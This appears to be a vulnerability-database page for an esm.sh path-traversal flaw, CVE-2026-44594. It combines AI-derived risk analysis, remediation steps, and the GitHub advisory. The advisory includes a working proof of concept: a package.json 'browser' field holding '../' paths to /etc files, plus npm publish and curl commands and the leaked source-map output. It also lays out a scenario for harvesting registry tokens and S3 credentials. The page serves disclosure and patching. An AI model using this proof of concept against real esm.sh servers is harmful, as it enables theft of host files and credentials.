Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconPublish malicious npm package with traversal browser map
-
DeliveryRequest package build URL on esm.sh instance
-
ExploitBrowser-field remaps path past sandbox check
-
Installpath.Join collapses ../ escaping package dir
-
C2Server reads arbitrary host file
-
ExecuteFile contents returned in JS bundle and source map
-
ImpactHarvest config.json tokens and S3 credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the target esm.sh instance builds for a browser target (ctx.isBrowserTarget() must be true, which is the default for standard esm.sh module requests) and that the attacker can get the instance to build an npm package they control - trivially achieved by publishing to the public npm registry, which esm.sh fetches on demand. The specific trigger is a package.json 'browser' field mapping a local module specifier to a relative path containing '../' sequences; the referenced import must use an extension whose esbuild loader can parse the target file (.json target must be valid JSON, .txt/.html/.md read as raw text, extensionless must be valid JavaScript), which limits which host files are readable. Limiting factors: no code execution or write is possible (confidentiality-only); files that fail loader parsing cannot be exfiltrated; and self-hosted instances that disable on-demand npm fetching, restrict packages, or run non-browser targets are not reachable. No end-user interaction or authentication is needed (PR:N/UI:N). |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, 7.5) reflects a network-reachable, low-complexity, unauthenticated read of high-confidentiality data with no integrity or availability impact - consistent with the described attack (publish package, request build URL). Counterbalancing signals: EPSS is very low at 0.04% (14th percentile), the CVE is NOT in CISA KEV, and there is no evidence of active exploitation, so this is a credible but not mass-exploited issue. The 'unauthenticated' qualifier is supported by PR:N and by the fact that anyone can publish to npm and trigger a build; however real impact depends heavily on the target - a multi-tenant public instance holding registry tokens and S3 credentials in config.json is high value, while an isolated self-hosted instance with minimal secrets is lower value. Applying an SSVC lens: exploitation is proof-of-concept (not active), the attack is automatable (scriptable package publish + curl), and technical impact is partial (confidentiality-only, no code execution). Net: a real priority for anyone running an exposed esm.sh build server, but the low EPSS suggests targeted rather than widespread exploitation. |
| Exploit ScenarioDerived | An attacker publishes an npm package whose package.json 'browser' field maps innocuous-looking imports (e.g. './d1.json') to traversal paths like '../../../../../../etc/passwd' or the server's own config.json, then requests https://<esm.sh-instance>/<package>@<version> and fetches the generated .mjs.map. The server reads the targeted host files during the build and returns their contents in the sourcesContent array, leaking secrets such as registry tokens and S3 keys. A public PoC package (chess-sec-utils1@1.0.6) demonstrates this end-to-end. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Arbitrary file read in the esm.sh CDN build server (Go implementation, versions ≤ 137) lets a remote attacker exfiltrate sensitive host files by publishing a malicious npm package. The esbuild plugin re-maps module paths using the package.json 'browser' field without re-validating the sandbox, so '../' sequences escape the package directory and file contents are returned inside the bundled JS and source-map sourcesContent. A working PoC exists (published npm package chess-sec-utils1) reading /etc/hostname, /etc/os-release and /etc/environment, but there is no public exploit identified as actively used and EPSS risk is low (0.04%).
RemediationAI
Vendor-released patch: upgrade to esm.sh v137 (https://github.com/esm-dev/esm.sh/releases/tag/v137), which adds a post-remapping path-validation check and also bans URLs containing '/../' segments (#1271). Confirm the running build corresponds to the fixed commit 0.0.0-20250616164159-0593516c4cfa or later, since the input data ambiguously lists v137 as both the last affected and the fixed version. If immediate patching is not possible, apply compensating controls: rotate any npm registry auth tokens and S3 credentials stored in esm.sh config.json (assume they may already be readable) and move them out of world-readable config where feasible; run the build server as an unprivileged user in a minimal container or chroot so that '../' traversal reaches no sensitive host files (trade-off: needs careful volume mounts to avoid breaking builds); and restrict who can reach the build endpoint via network ACLs or an allowlist of packages (trade-off: reduces the open-CDN functionality). Reference the advisory GHSA-rg65-45m7-hq57 for the exact code fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
esm.sh is a self-hostable ESM CDN that transpiles and bundles npm packages on demand using esbuild (Go). During a build, the plugin's OnResolve callback enforces a sandbox by checking that resolved paths begin with the package working directory (ctx.wd). The vulnerability (CWE-22, Path Traversal / Local File Inclusion) arises because the package.json 'browser' field is applied AFTER the sandbox check to remap a module specifier to an attacker-chosen relative path; path.Join(ctx.wd, 'node_modules', pkgName, modulePath) then collapses the '../' sequences and no second HasPrefix validation is performed. esbuild's loader selection by extension constrains what is readable: .json must be valid JSON, .txt/.html/.md are read as raw text, and extensionless files must be valid JavaScript - but esm.sh's own config.json (valid JSON, credential-bearing) is fully readable. Because missing target paths do not raise build errors, a single package can probe many paths, functioning as a file-existence oracle. The affected component is the Go module pkg:go/github.com/esm-dev/esm.sh.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Anyone can publish an npm package and request an unauthenticated build (AV:N/AC:L/PR:N/UI:N); it reads sensitive host files including credential-bearing config (C:H) with no write or availability impact (I:N/A:N).
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.
Details
The vulnerable code is in the OnResolve callback of the esbuild plugin:
https://github.com/esm-dev/esm.sh/blob/main/server/build.go
The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.
// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}
// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
if path, ok := pkgJson.Browser[modulePath]; ok {
if path == "" {
return esbuild.OnResolveResult{
Path: args.Path,
Namespace: "browser-exclude",
}, nil
}
if !isRelPathSpecifier(path) {
externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
if err != nil {
return esbuild.OnResolveResult{}, err
}
return esbuild.OnResolveResult{
Path: externalPath,
SideEffects: sideEffects,
External: true,
}, nil
}
modulePath = path
}
}
// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox checkFile contents appear in both the bundled JS output and the source map sourcesContent array.
Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).
Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.
PoC
The test package is published at https://www.npmjs.com/package/chess-sec-utils1
package.json:
{
"name": "chess-sec-utils1",
"version": "1.0.6",
"main": "index.js",
"type": "module",
"browser": {
"./d1.txt": "../../../../../../../../etc/hostname",
"./d2.json": "../../../../../../../../etc/os-release",
"./d3.json": "../../../../../../../../etc/environment"
}
}index.js:
import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }npm publish
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6"
curl "https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map"Server file contents in source map response:
{
"sourcesContent": [
"ideapad\n",
"PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
"PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
"import d1 from \"./d1.txt\"..."
]
}<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />
Impact
An attacker can read sensitive files from the server, including the esm.sh config.json which may contain npm registry authentication tokens and S3 storage credentials.
Fix
Add a path validation check after the browser field remapping:
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
return esbuild.OnResolveResult{}, fmt.Errorf("path traversal blocked")
}Credit
Svyatoslav Berestovsky of Metascan
Executive ViewAI
The esm.sh CDN, a widely-used JavaScript build service, contains a file read vulnerability (CVE-2026-44594) allowing malicious packages to exfiltrate sensitive host environment data including system configuration and credentials. Publicly available exploit code exists, though no active exploitation has been observed to date. Organizations using esm.sh must patch immediately to protect their supply chain.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-32911
GHSA-rg65-45m7-hq57
NVD
CVE.org
EPSS
Exploit-DB